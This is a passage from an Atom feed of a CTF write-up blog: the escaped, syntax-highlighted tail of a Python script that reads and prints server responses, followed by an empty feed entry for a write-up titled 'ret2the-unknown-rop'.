z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ret2the-unknown-rop</title>
        <published>2021-07-27T00:00:00+00:00</published>
        <updated>2021-07-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            muristo
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/redpwn/ret2the-unknown-rop/"/>
        <id>https://yctf.ch/writeups/redpwn/ret2the-unknown-rop/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/redpwn/ret2the-unknown-rop/"></content>
        
    </entry>
</feed>
